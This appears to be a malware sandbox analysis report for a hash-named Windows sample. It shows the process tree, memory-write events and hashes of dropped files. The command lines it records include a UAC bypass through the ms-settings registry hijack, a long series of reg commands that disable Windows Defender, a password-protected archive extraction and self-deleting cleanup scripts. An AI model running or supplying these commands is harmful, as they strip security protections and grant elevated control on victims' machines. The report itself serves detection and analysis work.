52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmpAdobe.execmd.execmd.exeAdobe.tmpWScript.exeWScript.execmd.execmd.exedescription pid process target process PID 4160 wrote to memory of 2124 4160 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp PID 4160 wrote to memory of 2124 4160 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp PID 4160 wrote to memory of 2124 4160 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp PID 2124 wrote to memory of 4388 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp Adobe.exe PID 2124 wrote to memory of 4388 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp Adobe.exe PID 2124 wrote to memory of 4388 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp Adobe.exe PID 4388 wrote to memory of 448 4388 Adobe.exe Adobe.tmp PID 4388 wrote to memory of 448 4388 Adobe.exe Adobe.tmp PID 4388 wrote to memory of 448 4388 Adobe.exe Adobe.tmp PID 2124 wrote to memory of 1496 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp cmd.exe PID 2124 wrote to memory of 1496 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp cmd.exe PID 2124 wrote to memory of 1496 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp cmd.exe PID 2124 wrote to memory of 4992 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp cmd.exe PID 2124 wrote to memory of 4992 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp cmd.exe PID 2124 wrote to memory of 4992 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp cmd.exe PID 2124 wrote to memory of 3148 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp WScript.exe PID 2124 wrote to memory of 3148 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp WScript.exe PID 2124 wrote to memory of 3148 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp WScript.exe PID 4992 wrote to memory of 4272 4992 cmd.exe reg.exe PID 4992 wrote to memory of 4272 4992 cmd.exe reg.exe PID 4992 wrote to memory of 4272 4992 cmd.exe reg.exe PID 1496 wrote to memory of 3140 1496 cmd.exe reg.exe PID 1496 wrote to memory of 3140 1496 cmd.exe reg.exe PID 1496 wrote to memory of 3140 1496 cmd.exe reg.exe PID 2124 wrote to memory of 308 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp WScript.exe PID 2124 wrote to memory of 308 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp WScript.exe PID 2124 wrote to memory of 308 2124 52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp WScript.exe PID 448 wrote to memory of 3840 448 Adobe.tmp Set-up.exe PID 448 wrote to memory of 3840 448 Adobe.tmp Set-up.exe PID 448 wrote to memory of 3840 448 Adobe.tmp Set-up.exe PID 4992 wrote to memory of 1948 4992 cmd.exe reg.exe PID 4992 wrote to memory of 1948 4992 cmd.exe reg.exe PID 4992 wrote to memory of 1948 4992 cmd.exe reg.exe PID 308 wrote to memory of 3376 308 WScript.exe cmd.exe PID 308 wrote to memory of 3376 308 WScript.exe cmd.exe PID 308 wrote to memory of 3376 308 WScript.exe cmd.exe PID 1496 wrote to memory of 4032 1496 cmd.exe reg.exe PID 1496 wrote to memory of 4032 1496 cmd.exe reg.exe PID 1496 wrote to memory of 4032 1496 cmd.exe reg.exe PID 3148 wrote to memory of 2972 3148 WScript.exe cmd.exe PID 3148 wrote to memory of 2972 3148 WScript.exe cmd.exe PID 3148 wrote to memory of 2972 3148 WScript.exe cmd.exe PID 448 wrote to memory of 608 448 Adobe.tmp cmd.exe PID 448 wrote to memory of 608 448 Adobe.tmp cmd.exe PID 448 wrote to memory of 608 448 Adobe.tmp cmd.exe PID 448 wrote to memory of 2076 448 Adobe.tmp cmd.exe PID 448 wrote to memory of 2076 448 Adobe.tmp cmd.exe PID 448 wrote to memory of 2076 448 Adobe.tmp cmd.exe PID 4992 wrote to memory of 3688 4992 cmd.exe reg.exe PID 4992 wrote to memory of 3688 4992 cmd.exe reg.exe PID 4992 wrote to memory of 3688 4992 cmd.exe reg.exe PID 608 wrote to memory of 3416 608 cmd.exe reg.exe PID 608 wrote to memory of 3416 608 cmd.exe reg.exe PID 608 wrote to memory of 3416 608 cmd.exe reg.exe PID 448 wrote to memory of 2544 448 Adobe.tmp WScript.exe PID 448 wrote to memory of 2544 448 Adobe.tmp WScript.exe PID 448 wrote to memory of 2544 448 Adobe.tmp WScript.exe PID 448 wrote to memory of 4756 448 Adobe.tmp WScript.exe PID 448 wrote to memory of 4756 448 Adobe.tmp WScript.exe PID 448 wrote to memory of 4756 448 Adobe.tmp WScript.exe PID 3376 wrote to memory of 2024 3376 cmd.exe PING.EXE PID 3376 wrote to memory of 2024 3376 cmd.exe PING.EXE PID 3376 wrote to memory of 2024 3376 cmd.exe PING.EXE PID 4992 wrote to memory of 4552 4992 cmd.exe reg.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe"C:\Users\Admin\AppData\Local\Temp\52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-1RRCU.tmp\52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp"C:\Users\Admin\AppData\Local\Temp\is-1RRCU.tmp\52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.tmp" /SL5="$8003A,9875652,804864,C:\Users\Admin\AppData\Local\Temp\52bd35dbb0a393f952096a135fc0d8bddf2892977e72a547f604d53433addfb5.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\WindowsPowerShell\Configuration\Adobe.exe"C:\Program Files (x86)\WindowsPowerShell\Configuration\Adobe.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-SB84V.tmp\Adobe.tmp"C:\Users\Admin\AppData\Local\Temp\is-SB84V.tmp\Adobe.tmp" /SL5="$101F2,5833262,804864,C:\Program Files (x86)\WindowsPowerShell\Configuration\Adobe.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\WindowsPowerShell\Configuration\Set-up.exe"C:\Program Files (x86)\WindowsPowerShell\Configuration\Set-up.exe"5⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Modifies system certificate store
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\wu10.uac.bat" "5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\SOFTWARE\Classes\ms-settings\shell\open\command" /t REG_SZ /d "C:\windows\system32\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" /f6⤵
- Modifies registry class
-
C:\Windows\SysWOW64\reg.exeREG ADD "hkcu\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d " " /f6⤵
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\wu10.wdcloud.bat" "5⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f6⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f6⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\wu10.run.vbs"5⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\main.bat" "6⤵
-
C:\Windows\SysWOW64\mode.commode 65,107⤵
-
C:\ProgramData\7z.exe7z.exe e file.zip -p___________1903pwd1764pwd14586___________ -oextracted7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\wu10.2run.vbs"5⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\wu10.delete.bat" "6⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 60 127.17⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del 7z.dll"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del 7z.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del main.bat"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del file.bin"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del wu10.run.vbs"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\wu10.uac.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\SOFTWARE\Classes\ms-settings\shell\open\command" /t REG_SZ /d "C:\windows\system32\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" /f4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\reg.exeREG ADD "hkcu\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d " " /f4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\wu10.wdcloud.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f4⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\wu10.run.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\main.bat" "4⤵
-
C:\Windows\SysWOW64\mode.commode 65,105⤵
-
C:\ProgramData\7z.exe7z.exe e file.zip -p___________1903pwd1764pwd14586___________ -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_9.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_8.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_7.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_6.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_5.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_4.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_3.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_2.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7z.exe7z.exe e extracted/file_1.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\attrib.exeattrib +H "00008.exe"5⤵
- Views/modifies file attributes
-
C:\ProgramData\00008.exe"00008.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\00008.exe"00008.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\wu10.2run.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\wu10.delete.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping -n 60 127.15⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del 7z.dll"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del 7z.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del main.bat"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del file.bin"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del wu10.run.vbs"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del wu10.2run.vbs"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del wu10.uac.bat"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del wu10.wdcloud.bat"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del wu10.delete.bat"5⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\WindowsPowerShell\Configuration\Adobe.exeFilesize
6.2MB
MD5f29f5feaf2450576bf14ca53c90d0059
SHA17262f9605fdd224341aa01a3b5912c09171bfcdc
SHA25618c282c1f2bbc302d317a2f4037072355910f3c3425f446a8a8692652a175520
SHA51214dfa735b3e7fb1572122c43625be1e61b8c28b1c08cacfb7bd55172e8d2b8db6afa07b4e5822bbf90d9a5f34e368fe67b440779a1d0a01b71f5cb897803b25c
-
C:\Program Files (x86)\WindowsPowerShell\Configuration\Adobe.exeFilesize
6.2MB
MD5f29f5feaf2450576bf14ca53c90d0059
SHA17262f9605fdd224341aa01a3b5912c09171bfcdc
SHA25618c282c1f2bbc302d317a2f4037072355910f3c3425f446a8a8692652a175520
SHA51214dfa735b3e7fb1572122c43625be1e61b8c28b1c08cacfb7bd55172e8d2b8db6afa07b4e5822bbf90d9a5f34e368fe67b440779a1d0a01b71f5cb897803b25c
-
C:\Program Files (x86)\WindowsPowerShell\Configuration\Set-up.exeFilesize
7.3MB
MD5de70f0deed893bba56ccb78eafd59606
SHA1f351b0c2996a3573d36deab9b6b3961876189f71
SHA256b9a187b59c758ead0022e50bbaae4133d2e37b769a054249afc0b6aa2e26774d
SHA51286459d1e7ba8480cf005087450d7dcf969dcd6f6fd228012d7542539ff74d72105a35b3a8d8216e1b44cdee21730a1ddb32d9b5d20073099cb4da5a56c77fc41
-
C:\Program Files (x86)\WindowsPowerShell\Configuration\Set-up.exeFilesize
7.3MB
MD5de70f0deed893bba56ccb78eafd59606
SHA1f351b0c2996a3573d36deab9b6b3961876189f71
SHA256b9a187b59c758ead0022e50bbaae4133d2e37b769a054249afc0b6aa2e26774d
SHA51286459d1e7ba8480cf005087450d7dcf969dcd6f6fd228012d7542539ff74d72105a35b3a8d8216e1b44cdee21730a1ddb32d9b5d20073099cb4da5a56c77fc41
-
C:\ProgramData\00008.exeFilesize
984KB
MD5cc92a237e2ed80325da78388c4c7b0b3
SHA13697c658be4cd2bce4f4d1d36d8219a5014c80a3
SHA2567911bc8187ba92321b56818dc2c0268aec61fe2aa7999008814582759ac9e979
SHA512642bcbb7af75e97e7878d585191e6838d82331a1bf08dfb2b8bd59bbb70ba3c6c8101c9bdd6c7b42c1802c9fc62d036e3750b6d468fa4ba30ba8b16842c06433
-
C:\ProgramData\00008.exeFilesize
984KB
MD5cc92a237e2ed80325da78388c4c7b0b3
SHA13697c658be4cd2bce4f4d1d36d8219a5014c80a3
SHA2567911bc8187ba92321b56818dc2c0268aec61fe2aa7999008814582759ac9e979
SHA512642bcbb7af75e97e7878d585191e6838d82331a1bf08dfb2b8bd59bbb70ba3c6c8101c9bdd6c7b42c1802c9fc62d036e3750b6d468fa4ba30ba8b16842c06433
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\ProgramData\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
